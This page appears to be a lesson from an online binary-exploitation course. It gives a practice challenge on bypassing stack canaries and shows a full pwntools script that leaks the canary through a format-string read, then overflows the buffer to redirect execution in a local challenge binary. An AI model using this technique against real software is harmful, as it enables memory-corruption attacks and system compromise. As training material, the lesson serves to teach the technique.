Table of Contents

IronForgeCyber

Courses

Resources

Blog

Log In



IronForgeCyber

AboutPrivacyTerms

© 2026 IronForgeCyber. All rights reserved.

  1. courses
  2. binex-stack-exploits
  3. canary-practice-01
1 min read

Practice 1

Ready to try one on your own? This challenge doesn't print a copy of the stack, meaning you'll need to use GDB to find your padding and leak the canary.

Here's the exploit for reference:

exploit.py
1from pwn import *
2
3p = process('./chall')
4
5p.recvline()
6p.sendline(b'%15$p')
7canary = int(p.recvline().decode(), 16)
8
9payload = b'A' * 72
10payload += p64(canary)
11payload += b'B' * 8
12payload += p64(0x401016)    # stack **alignment**
13payload += p64(0x401241)
14
15p.sendline(payload)
16p.interactive()